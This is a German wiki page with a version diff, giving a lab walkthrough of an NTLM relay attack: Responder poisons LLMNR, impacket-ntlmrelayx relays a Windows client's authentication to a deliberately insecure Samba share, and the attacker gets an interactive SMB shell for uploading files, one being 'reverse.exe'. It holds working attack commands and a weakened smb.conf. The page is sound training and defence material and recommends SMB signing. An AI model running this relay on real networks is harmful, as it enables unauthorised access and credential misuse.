NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
← Zum vorherigen VersionsunterschiedZum nächsten Versionsunterschied →
Keine Bearbeitungszusammenfassung
Keine Bearbeitungszusammenfassung
Zeile 1: Zeile 1:
= NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) =
= NTLM-Relay auf Samba-Freigabe mit Impacket =


== Ziel ==
== Ziel ==
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.
* SMB-Zugriff auf die Samba-Freigabe möglich ist
* Eine Datei in die Freigabe hochgeladen werden kann


== Voraussetzungen ==
== Umgebung ==
* Angreifer: Kali Linux mit impacket & responder
* Angreifer: Kali Linux mit responder und impacket
* Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
* Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
* Ziel: Linux mit Samba (z. B. 10.0.10.104)
* Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
* Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share


== 1. Samba-Ziel vorbereiten ==
== Samba-Freigabe vorbereiten ==


*Samba konfigurieren:*
*Konfiguration in '''/etc/samba/smb.conf''':*
<pre>
<pre>
[global]
[global]
   workgroup = WORKGROUP
   workgroup = WORKGROUP
   server role = standalone server
   server string = Relayziel
  passdb backend = tdbsam
   map to guest = Always
   map to guest = Bad User
   guest account = nobody
   guest account = nobody
  ntlm auth = yes
  lanman auth = yes
  client lanman auth = yes
  client ntlmv2 auth = yes
  server min protocol = SMB2


[share]
[share]
   comment = Relayziel
   comment = Relay-Ziel
   path = /mnt/media/share
   path = /mnt/media/share
   read only = no
   read only = no
Zeile 34: Zeile 35:
</pre>
</pre>


*Verzeichnis vorbereiten:*
*Verzeichnis erstellen und Rechte setzen:*
mkdir -p /mnt/media/share
<pre>
chown nobody:nogroup /mnt/media/share
mkdir -p /mnt/media/share
chmod 777 /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd
</pre>


*Dienst neustarten:*
== Funktion der Samba-Konfiguration ==
systemctl restart smbd
* map to guest = Always: Jeder unbekannte Benutzer wird auf den Gastaccount gemappt.
* ntlm auth = yes: Akzeptiert NTLMv1/v2 von ntlmrelayx.
* force user = nobody: Alle Dateien gehören dem Gastnutzer.
* Kein SMB-Signing = relayfähig.


== 2. Responder starten (Poisoning-Komponente) ==
== Verbindung testen ==
<pre>
smbclient -L //10.0.10.104 -N
</pre>


responder -I eth0
→ Die Freigabe "share" muss angezeigt werden. Es darf kein "Signing: required" erscheinen.


→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
== Responder starten ==
<pre>
responder -I eth0 --disable-http --disable-https
</pre>


== 3. ntlmrelayx vorbereiten ==
→ Nur LLMNR/NBT-NS Poisoning aktivieren. Kein eingebauter SMB-Server darf laufen.


*Mit interaktiver SMB-Shell starten:*
== ntlmrelayx starten ==
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
<pre>
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
</pre>


→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
→ Lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter.


== 4. Angriff auslösen ==
== Angriff auslösen ==
Auf dem Windows-Client folgenden UNC-Pfad im Explorer öffnen oder über PowerShell:


*Auf dem Windows-Opfer:* 
<pre>
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
\\irgendwas
</pre>


\\irgendwas
→ Windows fragt über LLMNR nach "irgendwas", responder vergiftet, NTLM-Auth wird an ntlmrelayx weitergeleitet, Samba akzeptiert Gastlogin.


→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
== Erfolgreicher Zugriff ==
 
Im Terminal von ntlmrelayx erscheint:
== 5. Ergebnis: Interaktive Shell auf Samba-Freigabe ==
<pre>
[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...
smb> upload /tmp/test.txt
</pre>


Nach erfolgreichem Relay erscheint:
Auf dem Zielsystem prüfen:
<pre>
<pre>
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
ls -l /mnt/media/share
[+] Opening SMB relay connection
[!] Interactive shell opened
smb>
</pre>
</pre>


*Dort kann man z. B. eine Datei hochladen:*
→ Datei ist vorhanden
upload /tmp/reverse.exe
 
== 6. Erfolg prüfen ==
 
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
ls -l /mnt/media/share


→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
== Fehlerbehebung ==


== Zusammenfassung ==
{| class="wikitable"
| Komponente | Aufgabe |
! Problem !! Mögliche Ursache !! Lösung
|------------|---------|
|-
| responder  | Vergiftung von Namensauflösung |
| Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
| ntlmrelayx | Relaying von NTLM auf SMB-Ziel |
| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Always, ntlm auth = yes
| Samba      | akzeptiert relayed Authentifizierung als Gast |
| Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen
| Ziel      | Datei auf Samba-Freigabe schreiben |
| Kein Poisoning || LLMNR deaktiviert || Windows prüft: Get-NetAdapterBinding -ComponentID ms_llmnrs
| Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen
| ntlmrelayx zeigt nichts || Kein NTLM angekommen || Wird der Name überhaupt per LLMNR angefragt?
|}


== Hinweise ==
== Hinweise ==
* Wird der relayed Benutzer nicht akzeptiert, hilft:
* Für realistische Szenarien SMB-Signing auf Servern aktivieren (Absicherung)
** map to guest = Always
* Funktioniert nur in unsicheren Netzwerken mit LLMNR/NBT-NS und offenem SMB
* Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
* Laborszenario – für Demonstration und Schulung geeignet
* Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)
 
== Quellen ==
* https://github.com/fortra/impacket
* https://wiki.samba.org/index.php/Setting_up_a_Samba_Share

Version vom 18. Mai 2025, 16:34 Uhr

NTLM-Relay auf Samba-Freigabe mit Impacket

Ziel

Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.

Umgebung

  • Angreifer: Kali Linux mit responder und impacket
  • Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
  • Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)

Samba-Freigabe vorbereiten

  • Konfiguration in /etc/samba/smb.conf:*
[global]
   workgroup = WORKGROUP
   server string = Relayziel
   map to guest = Always
   guest account = nobody
   ntlm auth = yes
   lanman auth = yes
   client lanman auth = yes
   client ntlmv2 auth = yes
   server min protocol = SMB2

[share]
   comment = Relay-Ziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup
  • Verzeichnis erstellen und Rechte setzen:*
mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd

Funktion der Samba-Konfiguration

  • map to guest = Always: Jeder unbekannte Benutzer wird auf den Gastaccount gemappt.
  • ntlm auth = yes: Akzeptiert NTLMv1/v2 von ntlmrelayx.
  • force user = nobody: Alle Dateien gehören dem Gastnutzer.
  • Kein SMB-Signing = relayfähig.

Verbindung testen

smbclient -L //10.0.10.104 -N

→ Die Freigabe "share" muss angezeigt werden. Es darf kein "Signing: required" erscheinen.

Responder starten

responder -I eth0 --disable-http --disable-https

→ Nur LLMNR/NBT-NS Poisoning aktivieren. Kein eingebauter SMB-Server darf laufen.

ntlmrelayx starten

impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

→ Lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter.

Angriff auslösen

Auf dem Windows-Client folgenden UNC-Pfad im Explorer öffnen oder über PowerShell: 

\\irgendwas

→ Windows fragt über LLMNR nach "irgendwas", responder vergiftet, NTLM-Auth wird an ntlmrelayx weitergeleitet, Samba akzeptiert Gastlogin.

Erfolgreicher Zugriff

Im Terminal von ntlmrelayx erscheint: 

[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...
smb> upload /tmp/test.txt

Auf dem Zielsystem prüfen: 

ls -l /mnt/media/share

→ Datei ist vorhanden

Fehlerbehebung

Problem Mögliche Ursache Lösung
Kein Relay möglich SMB Signing aktiv smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing Kein Login NTLM wird abgelehnt In smb.conf: map to guest = Always, ntlm auth = yes Keine Shell Share nicht schreibbar read only = no, force user = nobody, chmod 777 prüfen Kein Poisoning LLMNR deaktiviert Windows prüft: Get-NetAdapterBinding -ComponentID ms_llmnrs Verbindung scheitert Routing-Problem ping vom Kali auf Ziel prüfen ntlmrelayx zeigt nichts Kein NTLM angekommen Wird der Name überhaupt per LLMNR angefragt?

Hinweise

  • Für realistische Szenarien SMB-Signing auf Servern aktivieren (Absicherung)
  • Funktioniert nur in unsicheren Netzwerken mit LLMNR/NBT-NS und offenem SMB
  • Laborszenario – für Demonstration und Schulung geeignet
Abgerufen von „http://wiki.xinux.net/index.php?title=NTLM-Relay_auf_Samba-Freigabe_mit_Impacket&oldid=63151“